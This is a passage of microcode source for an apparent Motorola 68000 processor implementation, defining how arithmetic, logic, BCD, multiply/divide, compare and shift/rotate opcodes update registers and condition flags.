word with partial flags update FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long FLAG -**00,CIN=CLR // Update the M68k flags STW DH[EA2] // Store the word into Dx high STW DL[EA2] RTS // Store the word into Dx low ////////////////////////////////////// // 1000.yyy-00.xxxxxx : OR.B opcode // ////////////////////////////////////// Op_ORB_r: CALL Op_ORB // Execute OR.B STB DL[EA2] RTS // Write back result to register Op_ORB_m: CALL Op_ORB // Execute OR.B JUMP EA1_Update_B // Write back result to memory Op_ORB: CALL EA1_Read_B // Read byte from effective address LDB DL[EA2] // Read byte from register ORB. // OR both bytes FLAG -**00,CIN=CLR RTS // Update N and Z, clear V and C ////////////////////////////////////// // 1000.yyy100.00xxxx : SBCD opcode // ////////////////////////////////////// Op_SBCD_r: LDB DL[EA1] // Dy LDB DL[EA2] // Dx CALL SBCD_Calc // Compute BCD subtraction FLAG -*#--,CIN=CLR // Update N and Z flags STB DL[EA2] RTS // Update Dx Op_SBCD_m: CALL EA1_RB_An_Dec // Read byte with -(An) CALL EA2_RB_An_Dec // Read byte with -(An) CALL SBCD_Calc // Compute BCD subtraction FLAG -*#--,CIN=CLR // Update N and Z flags STB (EA2)+ RTS // TODO : -(A7) case !!! SBCD_Calc: OVER // Duplicate Src LIT #$000F // Mask for low nibble ANDW // Keep Src low nibble OVER // Duplicate Dst LIT #$000F // Mask for low nibble ANDW // Keep Dst low nibble FLAG 0---0,CIN=X_SR // Carry in is the X flag SUBCW. // Compute Dst - Src - X JUMPN N_FLG,SBCD_PosLoNib // Jump if result > 0 LIT #6 SUB2W // Subtract 6 to the result SBCD_PosLoNib: SWAP // Get Dst LIT #$00F0 // Mask for high nibble ANDW // Keep Dst high nibble ADDW // Add it to the intermediate result SWAP LIT #$00F0 // Mask for high nibble ANDW // Keep Src high nibble SUB2W. // Subtract it to the intermediate result JUMPN N_FLG,SBCD_PosHiNib // Jump if result > 0 LIT #$0060 SUB2W // Subtract $60 to the result FLAG 1---1 // Set X and C SBCD_PosHiNib: NOP. RTS // Update intermediate flags ////////////////////////////////////// // 1000.yyy-01.xxxxxx : OR.W opcode // ////////////////////////////////////// Op_ORW_r: CALL Op_ORW // Execute OR.W STW DL[EA2] RTS // Write back result to register Op_ORW_m: CALL Op_ORW // Execute OR.W JUMP EA1_Update_W // Write back result to memory Op_ORW: CALL EA1_Read_W // Read word from effective address LDW DL[EA2] // Read word from register ORW. // OR both words FLAG -**00,CIN=CLR RTS // Update N and Z, clear V and C ////////////////////////////////////// // 1000.yyy-10.xxxxxx : OR.L opcode // ////////////////////////////////////// Op_ORL_r: CALL Op_ORL // Execute OR.L JUMP EA2_WL_Reg // Write back result to register Op_ORL_m: CALL Op_ORL // Execute OR.L JUMP EA1_Update_L // Write back result to memory Op_ORL: CALL EA1_Read_L // Read long from effective address LDW DL[EA2] // Read Dn LSW ORW. // OR both LSW SWAP // Swap LSW and MSW LDW DH[EA2] // Read Dn MSW ORL. // OR both MSW FLAG -**00,CIN=CLR RTS // Update N and Z, clear V and C ////////////////////////////////////// // 1000.yyy011.001xxx : DIVU opcode // ////////////////////////////////////// Op_DIVU: CALL EA1_Read_W // Load the source (word) FLAG ----0,CIN=CLR // Clear C flag TSTW. // Check if source is null JUMP Z_FLG,Trap_DivZero // Divide by zero error LDW DH[EA2] LDW DL[EA2] // Load the destination (long) CALL Op_DIVx // Do the divide JUMP V_SR,Op_Div_Overflow2 // Overflow : do not store the result FLAG -**-0,CIN=CLR // Update N and Z flags STW DL[EA2] STW DH[EA2] RTS // Store the result Op_DIVx: FLAG ----0,CIN=CLR // Clear C flag // Load 32-bit subtractor (Destination) STW ACCL // Bits 15..0 STW ACCH // Bits 31..16 // Divisor is loaded into the upper 16-bit (Source) LIT #0 // Lower 16-bit cleared // Clear 16-bit result shifter WRW LSHR // 17 divide steps DIV. // First step is outside the loop LOOP16 // Loop 16 times // One step of the division (right shift + subtract) DIV. // 16 following steps ENDLOOP // End of loop // Discard the 32-bit divisor DROP DROP FLAG ---*-,CIN=CLR // Update the V flag JUMP V_SR,Op_Div_Overflow2 // V flag set : overflow occured // Read the 16-bit remainder from the subtractor LDW ACCL // Bits 15..0 // Read the 16-bit result shifter LDW LSHR. RTS // T = quotient, N = remainder Op_Div_Overflow: DROP DROP // Drop the intermediate result Op_Div_Overflow2: FLAG ---1-,CIN=CLR RTS // Set the overflow flag ////////////////////////////////////// // 1000.yyy111.001xxx : DIVS opcode // ////////////////////////////////////// Op_DIVS: CALL EA1_Read_W // Load the source (word) FLAG ----0,CIN=CLR // Clear C flag TSTW. // Check if source is null JUMP Z_FLG,Trap_DivZero // Divide by zero error JUMPN N_FLG,Op_DIVS_Src_Pos // Check source sign bit NEGW // Bit set : take the oposite LDW DH[EA2]. LDW DL[EA2] // Load the destination (long) JUMPN N_FLG,Op_DIVS_Neg // Sign cleared : result will be negative NEGW. // Sign set : take the opposite FLAG -----,CIN=C_ADD SWAP NEGCL. SWAP Op_DIVS_Pos: CALL Op_DIVx // Result will pe positive JUMP V_SR,Op_Div_Overflow2 // Overflow : do not store the result JUMP N_FLG,Op_Div_Overflow // Sign set : do not store the result FLAG -**-0,CIN=CLR // Update N and Z flags STW DL[EA2] STW DH[EA2] RTS // Store the result Op_DIVS_Src_Pos: LDW DH[EA2]. LDW DL[EA2] // Load the destination (long) JUMPN N_FLG,Op_DIVS_Pos // Sign cleared : result will be positive NEGW. // Sign set : take the opposite FLAG -----,CIN=C_ADD SWAP NEGCL. SWAP Op_DIVS_Neg: CALL Op_DIVx // Do the divide JUMP V_SR,Op_Div_Overflow2 // Overflow : do not store the result JUMP N_FLG,Op_Div_Overflow // Sign set : do not store the result NEGW. // Take the oposite FLAG -**-0,CIN=CLR // Update N and Z flags STW DL[EA2] STW DH[EA2] RTS // Store the result /////////////////////////////////////// // 1001.yyy-00.xxxxxx : SUB.B opcode // /////////////////////////////////////// Op_SUBB_r: CALL EA1_Read_B LDB DL[EA2] SUBB. FLAG *****,CIN=CLR STB DL[EA2] RTS Op_SUBB_m: LDB DL[EA2] CALL EA1_Read_B SUBB. FLAG *****,CIN=CLR JUMP EA1_Update_B //////////////////////////////////////// // 1001.yyy100.00xxxx : SUBX.B opcode // //////////////////////////////////////// Op_SUBXB_r: LDB DL[EA1] LDB DL[EA2] FLAG -----,CIN=X_SR SUBCB. FLAG **#**,CIN=CLR STB DL[EA2] RTS Op_SUBXB_m: CALL EA1_RB_An_Dec CALL EA2_RB_An_Dec FLAG -----,CIN=X_SR SUBCB. FLAG **#**,CIN=CLR STB (EA2)+ RTS // TODO : -(A7) case !!! /////////////////////////////////////// // 1001.yyy-01.xxxxxx : SUB.W opcode // /////////////////////////////////////// Op_SUBW_r: CALL EA1_Read_W LDW DL[EA2] SUBW. FLAG *****,CIN=CLR STW DL[EA2] RTS Op_SUBW_m: LDW DL[EA2] CALL EA1_Read_W SUBW. FLAG *****,CIN=CLR JUMP EA1_Update_W //////////////////////////////////////// // 1001.yyy101.00xxxx : SUBX.W opcode // //////////////////////////////////////// Op_SUBXW_r: LDW DL[EA1] LDW DL[EA2] FLAG -----,CIN=X_SR SUBCW. FLAG **#**,CIN=CLR STW DL[EA2] RTS Op_SUBXW_m: CALL EA1_RW_An_Dec CALL EA2_RW_An_Dec FLAG -----,CIN=X_SR SUBCW. FLAG **#**,CIN=CLR STW (EA2) RTS /////////////////////////////////////// // 1001.yyy-10.xxxxxx : SUB.L opcode // /////////////////////////////////////// Op_SUBL_r: CALL EA1_Read_L LDW DL[EA2] SUBW. STW DL[EA2] LDW DH[EA2] FLAG -----,CIN=C_ADD SUBCL. FLAG *****,CIN=CLR STW DH[EA2] RTS Op_SUBL_m: CALL EA1_Read_L LDW DL[EA2] SUB2W. SWAP LDW DH[EA2] FLAG -----,CIN=C_ADD SUBC2L. FLAG *****,CIN=CLR JUMP EA1_Update_L //////////////////////////////////////// // 1001.yyy110.00xxxx : SUBX.L opcode // //////////////////////////////////////// Op_SUBXL_r: LDW DL[EA1] // Read LSW from register LDW DL[EA2] // Read LSW from register FLAG -----,CIN=X_SR // Carry in is X flag SUBCW. // Subtract both LSW STW DL[EA2] // Store result back to register LDW DH[EA1] // Read MSW from register LDW DH[EA2] // Read MSW from register FLAG -----,CIN=C_ADD // Carry in is adder carry SUBCL. // Subtract both MSW FLAG **#**,CIN=CLR // Update X, N, Z, V and C STW DH[EA2] RTS // Store result back to register Op_SUBXL_m: CALL Get_An_EA1 // An -> EA1 CALL Get_An_EA2 // An -> EA2 LDW -(EA1) // Read LSW from effective address #1 LDW -(EA2) // Read LSW from effective address #2 FLAG -----,CIN=X_SR // Carry in is X flag SUBCW. // Subtract both LSW LDW -(EA1) // Read MSW from effective address #1 LDW -(EA2) // Read MSW from effective address #2 CALL Set_An_EA1 // EA1 -> An CALL Set_An_EA2 // EA2 -> An FLAG -----,CIN=C_ADD // Carry in is adder carry SUBCL. // Subtract both MSW STW (EA2)+ // Write back MSW to memory FLAG **#**,CIN=CLR // Update X, N, Z, V and C STW (EA2) RTS // Write back LSW to memory //////////////////////////////////////// // 1001.yyy011.xxxxxx : SUBA.W opcode // //////////////////////////////////////// Op_SUBAW: CALL EA1_Read_W // Read word from effective address FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long SWAP // Swap LSW and MSW Op_SUBA_jmp: LDW AL[EA2] // Read An LSW SUBW. // Subtract word to An LSW STW AL[EA2] // Store An LSW LDW AH[EA2] // Read An MSW FLAG -----,CIN=C_ADD // Carry in is adder carry SUBCL // Subtract extended word to An MSW STW AH[EA2] RTS // Store An MSW //////////////////////////////////////// // 1001.yyy111.xxxxxx : SUBA.L opcode // //////////////////////////////////////// Op_SUBAL: CALL EA1_Read_L // Read long from effective address JUMP Op_SUBA_jmp // Execute SUBA /////////////////////////////////////// // 1011.yyy000.xxxxxx : CMP.B opcode // /////////////////////////////////////// Op_CMPB: CALL EA1_Read_B LDB DL[EA2] SUBB. FLAG -****,CIN=CLR DROP RTS /////////////////////////////////////// // 1011.yyy001.xxxxxx : CMP.W opcode // /////////////////////////////////////// Op_CMPW: CALL EA1_Read_W LDW DL[EA2] SUBW. FLAG -****,CIN=CLR DROP RTS /////////////////////////////////////// // 1011.yyy010.xxxxxx : CMP.L opcode // /////////////////////////////////////// Op_CMPL: CALL EA1_Read_L LDW DL[EA2] SUBW. DROP LDW DH[EA2] FLAG -----,CIN=C_ADD SUBCL. FLAG -****,CIN=CLR DROP RTS //////////////////////////////////////// // 1011.yyy011.xxxxxx : CMPA.W opcode // //////////////////////////////////////// Op_CMPAW: CALL EA1_Read_W // Read word from effective address FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long SWAP // Swap MSW and LSW Op_CMPA: LDW AL[EA2] // Read An LSW SUBW. // Subtract word from An LSW DROP // Drop result LDW AH[EA2] // Read An MSW FLAG -----,CIN=C_ADD // Carry in is adder carry SUBCL. // Subtract extended word from An MSW FLAG -****,CIN=CLR // Update N, Z, V and C DROP RTS // Drop result //////////////////////////////////////// // 1011.yyy100.xxxxxx : EOR.B opcode // //////////////////////////////////////// Op_EORB: CALL EA1_Read_B LDB DL[EA2] XORB. FLAG -**00,CIN=CLR JUMP EA1_Update_B //////////////////////////////////////// // 1011.yyy100.001xxx : CMPM.B opcode // //////////////////////////////////////// Op_CMPMB: CALL EA1_RB_An_Inc CALL EA2_RB_An_Inc SUBB. FLAG -****,CIN=CLR DROP RTS //////////////////////////////////////// // 1011.yyy101.xxxxxx : EOR.W opcode // //////////////////////////////////////// Op_EORW: CALL EA1_Read_W LDW DL[EA2] XORW. FLAG -**00,CIN=CLR JUMP EA1_Update_W //////////////////////////////////////// // 1011.yyy101.001xxx : CMPM.W opcode // //////////////////////////////////////// Op_CMPMW: CALL EA1_RW_An_Inc CALL EA2_RW_An_Inc SUBW. FLAG -****,CIN=CLR DROP RTS //////////////////////////////////////// // 1011.yyy110.xxxxxx : EOR.L opcode // //////////////////////////////////////// Op_EORL: CALL EA1_Read_L LDW DL[EA2] XORW. SWAP LDW DH[EA2] XORL. FLAG -**00,CIN=CLR JUMP EA1_Update_L //////////////////////////////////////// // 1011.yyy110.001xxx : CMPM.L opcode // //////////////////////////////////////// Op_CMPML: CALL Get_An_EA1 // An -> EA1 CALL Get_An_EA2 // An -> EA2 LDW (EA1)+ // Read MSW from effective address #1 LDW (EA2)+ // Read MSW from effective address #2 LDW (EA1)+ // Read LSW from effective address #1 LDW (EA2)+ // Read LSW from effective address #2 CALL Set_An_EA1 // EA1 -> An CALL Set_An_EA2 // EA2 -> An SUBW. // Subtract both LSW DROP // Drop result FLAG -----,CIN=C_ADD // Carry in is adder carry SUBCL. // Subtract both MSW FLAG -****,CIN=CLR // Update N, Z, V and C DROP RTS // Drop result //////////////////////////////////////// // 1011.yyy111.xxxxxx : CMPA.L opcode // //////////////////////////////////////// Op_CMPAL: CALL EA1_Read_L // Read long from effective address JUMP Op_CMPA // Execute CMPA /////////////////////////////////////// // 1100.yyy-00.xxxxxx : AND.B opcode // /////////////////////////////////////// Op_ANDB_r: CALL Op_ANDB // Execute AND.B STB DL[EA2] RTS // Write back result to register Op_ANDB_m: CALL Op_ANDB // Execute AND.B JUMP EA1_Update_B // Write back result to memory Op_ANDB: CALL EA1_Read_B // Read byte from effective address LDB DL[EA2] // Read byte from register ANDB. // AND both bytes FLAG -**00,CIN=CLR RTS // Update N and Z, clear V and C ////////////////////////////////////// // 1100.yyy100.00xxxx : ABCD opcode // ////////////////////////////////////// Op_ABCD_r: LDB DL[EA1] // Dy LDB DL[EA2] // Dx CALL ABCD_Calc // Compute BCD addition FLAG -*#--,CIN=CLR // Update N and Z flags STB DL[EA2] RTS // Update Dx Op_ABCD_m: CALL EA1_RB_An_Dec CALL EA2_RB_An_Dec CALL ABCD_Calc // Compute BCD addition FLAG -*#--,CIN=CLR // Update N and Z flags STB (EA2)+ RTS // TODO : -(A7) case !!! ABCD_Calc: OVER // Duplicate Src LIT #$000F // Mask for low nibble ANDW // Keep Src low nibble OVER // Duplicate Dst LIT #$000F // Mask for low nibble ANDW. // Keep Dst low nibble FLAG 0---0,CIN=X_SR // Carry in is the X flag ADDCW // Compute Src + Dst + X LIT #10 // Comparison value OVER // Duplicate result SUBW. // Compare it to 10 JUMP N_FLG,ABCD_Less10 // Jump if result < 0 LIT #$0010 // BCD carry value ADDW // Add 10 (BCD) to the result SWAP // Keep result ABCD_Less10: DROP // Drop the intermediate result SWAP // Get Dst LIT #$00F0 // Mask for high nibble ANDW // Keep Dst high nibble ADDW // Add it to the intermediate result SWAP LIT #$00F0 // Mask for high nibble ANDW // Keep Src high nibble ADDW // Add it to the intermediate result LIT #$A0 OVER // Duplicate result SUBW. // Compare it to 160 JUMP N_FLG,ABCD_Less100 // Jump if result < 0 FLAG 1---1 // Set X and C SWAP // Keep (result - 160) ABCD_Less100: DROP. RTS // Drop the intermediate result /////////////////////////////////////// // 1100.yyy-01.xxxxxx : AND.W opcode // /////////////////////////////////////// Op_ANDW_r: CALL Op_ANDW // Execute AND.W STW DL[EA2] RTS // Write back result to register Op_ANDW_m: CALL Op_ANDW // Execute AND.W JUMP EA1_Update_W // Write back result to memory Op_ANDW: CALL EA1_Read_W // Read word from effective address LDW DL[EA2] // Read word from register ANDW. // AND both words FLAG -**00,CIN=CLR RTS // Update N and Z, clear V and C ///////////////////////////////////// // 1100.yyy101.00xxxx : EXG opcode // ///////////////////////////////////// Op_EXG_DD: LDW DH[EA1] LDW DL[EA1] LDW DH[EA2] LDW DL[EA2] STW DL[EA1] STW DH[EA1] STW DL[EA2] STW DH[EA2] RTS Op_EXG_AA: LDW AH[EA1] LDW AL[EA1] LDW AH[EA2] LDW AL[EA2] STW AL[EA1] STW AH[EA1] STW AL[EA2] STW AH[EA2] RTS /////////////////////////////////////// // 1100.yyy-10.xxxxxx : AND.L opcode // /////////////////////////////////////// Op_ANDL_r: CALL Op_ANDL JUMP EA2_WL_Reg Op_ANDL_m: CALL Op_ANDL JUMP EA1_Update_L Op_ANDL: CALL EA1_Read_L LDW DL[EA2] ANDW. SWAP LDW DH[EA2] ANDL. FLAG -**00,CIN=CLR RTS ///////////////////////////////////// // 1100.yyy110.001xxx : EXG opcode // ///////////////////////////////////// Op_EXG_DA: LDW AH[EA1] LDW AL[EA1] LDW DH[EA2] LDW DL[EA2] STW AL[EA1] STW AH[EA1] STW DL[EA2] STW DH[EA2] RTS ////////////////////////////////////// // 1100.yyy011.001xxx : MULU opcode // ////////////////////////////////////// Op_MULU: LDW DL[EA2] // Load the destination CALL EA1_Read_W // Load the source Op_MULS_Pos: CALL Op_MULx TSTW. STW DL[EA2] TSTL. FLAG -**00,CIN=CLR STW DH[EA2] RTS Op_MULx: // Load 16-bit shifter (source) STW LSHR // Destination is loaded into the upper 16-bit LIT #0 // Lower 16-bit cleared // Clear 32-bit accummulator WRW ACCL // Bits 15..0 WRW ACCH // Bits 31..16 // Right shift destination by one position FLAG -----,CIN=CLR RSHL LOOP16 // Loop 16 times // One step of the multiply (right shift + add) MUL ENDLOOP // Discard the destination DROP DROP // Read the 32-bit result from the accumulator LDW ACCH // Bits 31..16 LDW ACCL RTS // Bits 15..0 ////////////////////////////////////// // 1100.yyy111.001xxx : MULS opcode // ////////////////////////////////////// Op_MULS: LDW DL[EA2] // Load the destination (word) CALL EA1_Read_W // Load the source (word) TSTW. // Check source sign JUMPN N_FLG,Op_MULS_Src_Pos // Source sign cleared NEGW // Source sign set : take the opposite SWAP. // Check destination JUMPN N_FLG,Op_MULS_Neg // Sign cleared : result will be negative NEGW // Sign set : take the opposite JUMP Op_MULS_Pos // Result will pe positive Op_MULS_Src_Pos: SWAP. // Check destination JUMPN N_FLG,Op_MULS_Pos // Sign cleared : result will be positive NEGW // Sign set : take the opposite Op_MULS_Neg: CALL Op_MULx NEGW. STW DL[EA2] FLAG -----,CIN=C_ADD NEGCL. FLAG -**00,CIN=CLR STW DH[EA2] RTS /////////////////////////////////////// // 1101.yyy-00.xxxxxx : ADD.B opcode // /////////////////////////////////////// Op_ADDB_r: CALL Op_ADDB // Execute ADD.B STB DL[EA2] RTS // Write back result to register Op_ADDB_m: CALL Op_ADDB // Execute ADD.B JUMP EA1_Update_B // Write back result to memory Op_ADDB: CALL EA1_Read_B // Read byte from effective address LDB DL[EA2] // Read byte from register ADDB. // Add both bytes FLAG *****,CIN=CLR RTS // Update X, N, Z, V and C //////////////////////////////////////// // 1101.yyy100.00xxxx : ADDX.B opcode // //////////////////////////////////////// Op_ADDXB_r: LDB DL[EA1] LDB DL[EA2] FLAG -----,CIN=X_SR ADDCB. FLAG **#**,CIN=CLR STB DL[EA2] RTS Op_ADDXB_m: CALL EA1_RB_An_Dec CALL EA2_RB_An_Dec FLAG -----,CIN=X_SR ADDCB. FLAG **#**,CIN=CLR STB (EA2)+ RTS // TODO : -(A7) case !!! /////////////////////////////////////// // 1101.yyy-01.xxxxxx : ADD.W opcode // /////////////////////////////////////// Op_ADDW_r: CALL Op_ADDW // Execute ADD.W STW DL[EA2] RTS // Write back result to register Op_ADDW_m: CALL Op_ADDW // Execute ADD.W JUMP EA1_Update_W // Write back result to memory Op_ADDW: CALL EA1_Read_W // Read word from effective address LDW DL[EA2] // Read word from register ADDW. // Add both words FLAG *****,CIN=CLR RTS // Update X, N, Z, V and C //////////////////////////////////////// // 1101.yyy101.00xxxx : ADDX.W opcode // //////////////////////////////////////// Op_ADDXW_r: LDW DL[EA1] LDW DL[EA2] FLAG -----,CIN=X_SR ADDCW. FLAG **#**,CIN=CLR STW DL[EA2] RTS Op_ADDXW_m: CALL EA1_RW_An_Dec CALL EA2_RW_An_Dec FLAG -----,CIN=X_SR ADDCW. FLAG **#**,CIN=CLR STW (EA2) RTS /////////////////////////////////////// // 1101.yyy-10.xxxxxx : ADD.L opcode // /////////////////////////////////////// Op_ADDL_r: CALL Op_ADDL // Execute ADD.L JUMP EA2_WL_Reg // Write back result to register Op_ADDL_m: CALL Op_ADDL // Execute ADD.L JUMP EA1_Update_L // Write back result to memory Op_ADDL: CALL EA1_Read_L // Read long from effective address LDW DL[EA2] // Read Dn LSW ADDW. // Add both LSW SWAP // Swap LSW and MSW LDW DH[EA2] // Read Dn MSW FLAG -----,CIN=C_ADD // Carry in is adder carry out ADDCL. // Add both MSW FLAG *****,CIN=CLR RTS // Update X, N, Z, V and C //////////////////////////////////////// // 1101.yyy110.00xxxx : ADDX.L opcode // //////////////////////////////////////// Op_ADDXL_r: LDW DL[EA1] LDW DL[EA2] FLAG -----,CIN=X_SR ADDCW. STW DL[EA2] LDW DH[EA1] LDW DH[EA2] FLAG -----,CIN=C_ADD ADDCL. FLAG **#**,CIN=CLR STW DH[EA2] RTS Op_ADDXL_m: CALL Get_An_EA1 // An -> EA1 CALL Get_An_EA2 // An -> EA2 LDW -(EA1) // Read LSW from effective address #1 LDW -(EA2) // Read LSW from effective address #2 FLAG -----,CIN=X_SR // Carry in is X flag ADDCW. // Add both LSW LDW -(EA1) // Read MSW from effective address #1 LDW -(EA2) // Read MSW from effective address #2 CALL Set_An_EA1 // EA1 -> An CALL Set_An_EA2 // EA2 -> An FLAG -----,CIN=C_ADD // Carry in is adder carry ADDCL. // Add both MSW STW (EA2)+ // Write back MSW to memory FLAG **#**,CIN=CLR // Update X, N, Z, V and C STW (EA2) RTS // Write back LSW to memory //////////////////////////////////////// // 1101.yyy011.xxxxxx : ADDA.W opcode // //////////////////////////////////////// Op_ADDAW: CALL EA1_Read_W // Read word from effective address FLAG -----,CIN=T15 // Carry in is bit #15 (sign) EXTW // Extend word to long SWAP // Swap LSW and MSW Op_ADDA_jmp: LDW AL[EA2] // Read An LSW ADDW. // Add word to An LSW STW AL[EA2] // Store An LSW LDW AH[EA2] // Read An MSW FLAG -----,CIN=C_ADD // Carry in is adder carry ADDCL // Add extended word to An MSW STW AH[EA2] RTS // Store An MSW //////////////////////////////////////// // 1101.yyy111.xxxxxx : ADDA.L opcode // //////////////////////////////////////// Op_ADDAL: CALL EA1_Read_L // Read long from effective address JUMP Op_ADDA_jmp // Execute ADDA ///////////////////////////////////////////// // 1110.yyy000.100xxx : ASR.B Dx,Dy opcode // ///////////////////////////////////////////// Op_ASRB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP ASRB_jmp ///////////////////////////////////////////// // 1110.yyy000.000xxx : ASR.B #x,Dy opcode // ///////////////////////////////////////////// Op_ASRB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count ASRB_jmp: FLAG ---00,CIN=N7 // Clear V and C flags LOOPT // Loop shift count times RSHB. // Right shift with flag update FLAG *--0*,CIN=T7 // Update X and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy000.101xxx : LSR.B Dx,Dy opcode // ///////////////////////////////////////////// Op_LSRB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP LSRB_jmp ///////////////////////////////////////////// // 1110.yyy000.001xxx : LSR.B #x,Dy opcode // ///////////////////////////////////////////// Op_LSRB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count LSRB_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times RSHB. // Right shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ////////////////////////////////////////////// // 1110.yyy000.110xxx : ROXR.B Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXRB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP ROXRB_jmp ////////////////////////////////////////////// // 1110.yyy000.010xxx : ROXR.B #x,Dy opcode // ////////////////////////////////////////////// Op_ROXRB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count ROXRB_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times RSHB. // Right shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy000.111xxx : ROR.B Dx,Dy opcode // ///////////////////////////////////////////// Op_RORB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP RORB_jmp ///////////////////////////////////////////// // 1110.yyy000.011xxx : ROR.B #x,Dy opcode // ///////////////////////////////////////////// Op_RORB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count RORB_jmp: FLAG ---00,CIN=N0 // Clear V and C flags LOOPT // Loop shift count times RSHB. // Right shift with flag update FLAG ---0*,CIN=T0 // Update C flag ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy100.100xxx : ASL.B Dx,Dy opcode // ///////////////////////////////////////////// Op_ASLB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP ASLB_jmp ///////////////////////////////////////////// // 1110.yyy100.000xxx : ASL.B #x,Dy opcode // ///////////////////////////////////////////// Op_ASLB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count ASLB_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHB. // Left shift with flag update FLAG *--**,CIN=CLR // Update X, V and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy100.101xxx : LSL.B Dx,Dy opcode // ///////////////////////////////////////////// Op_LSLB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP LSLB_jmp ///////////////////////////////////////////// // 1110.yyy100.001xxx : LSL.B #x,Dy opcode // ///////////////////////////////////////////// Op_LSLB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count LSLB_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times LSHB. // Left shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ////////////////////////////////////////////// // 1110.yyy100.110xxx : ROXL.B Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXLB_rr: LDB DL[EA1] // Load Dy.B LDW DL[EA2] // Load shift count JUMP ROXLB_jmp ////////////////////////////////////////////// // 1110.yyy100.010xxx : ROXL.B #x,Dy opcode // ////////////////////////////////////////////// Op_ROXLB_ir: LDB DL[EA1] // Load Dy.B LDW IMMR // Load shift count ROXLB_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times LSHB. // Left shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy100.111xxx : ROL.B Dx,Dy opcode // ///////////////////////////////////////////// Op_ROLB_rr: LDB DL[EA1] // Load Dx.B LDW DL[EA2] // Load shift count JUMP ROLB_jmp ///////////////////////////////////////////// // 1110.yyy100.011xxx : ROL.B #x,Dy opcode // ///////////////////////////////////////////// Op_ROLB_ir: LDB DL[EA1] // Load Dx.B LDW IMMR // Load shift count ROLB_jmp: FLAG ---00,CIN=N7 // Clear V and C flags LOOPT // Loop shift count times LSHB. // Left shift with flag update FLAG ---0*,CIN=T7 // Update C flag ENDLOOP JUMP Write_DnB // Store result into Dy.B ///////////////////////////////////////////// // 1110.yyy001.100xxx : ASR.W Dx,Dy opcode // ///////////////////////////////////////////// Op_ASRW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP ASRW_jmp ///////////////////////////////////////////// // 1110.yyy001.000xxx : ASR.W #x,Dy opcode // ///////////////////////////////////////////// Op_ASRW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count ASRW_jmp: FLAG ---00,CIN=N15 // Clear V and C flags LOOPT // Loop shift count times RSHW. // Right shift with flag update FLAG *--0*,CIN=T15 // Update X and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy001.101xxx : LSR.W Dx,Dy opcode // ///////////////////////////////////////////// Op_LSRW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP LSRW_jmp ///////////////////////////////////////////// // 1110.yyy001.001xxx : LSR.W #x,Dy opcode // ///////////////////////////////////////////// Op_LSRW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count LSRW_jmp: FLAG ---00,CIN=CLR // Clear V and C flags LOOPT // Loop shift count times RSHW. // Right shift with flag update FLAG *--0*,CIN=CLR // Update X and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ////////////////////////////////////////////// // 1110.yyy001.110xxx : ROXR.W Dx,Dy opcode // ////////////////////////////////////////////// Op_ROXRW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP ROXRW_jmp ////////////////////////////////////////////// // 1110.yyy001.010xxx : ROXR.W #x,Dy opcode // ////////////////////////////////////////////// Op_ROXRW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count ROXRW_jmp: FLAG ---0-,CIN=X_SR // Clear V flag LOOPT // Loop shift count times RSHW. // Right shift with flag update FLAG *--0*,CIN=C_FLG // Update X and C flags ENDLOOP JUMP Write_DnW // Store result into Dy.W ///////////////////////////////////////////// // 1110.yyy001.111xxx : ROR.W Dx,Dy opcode // ///////////////////////////////////////////// Op_RORW_rr: LDW DL[EA1] // Load Dy.W LDW DL[EA2] // Load shift count JUMP RORW_jmp ///////////////////////////////////////////// // 1110.yyy001.011xxx : ROR.W #x,Dy opcode // ///////////////////////////////////////////// Op_RORW_ir: LDW DL[EA1] // Load Dy.W LDW IMMR // Load shift count RORW_jmp: FLAG ---00,CIN=N0 // Clear V and C flags LOOPT // Loop shift count times RSHW. // Right shift with flag update FLAG 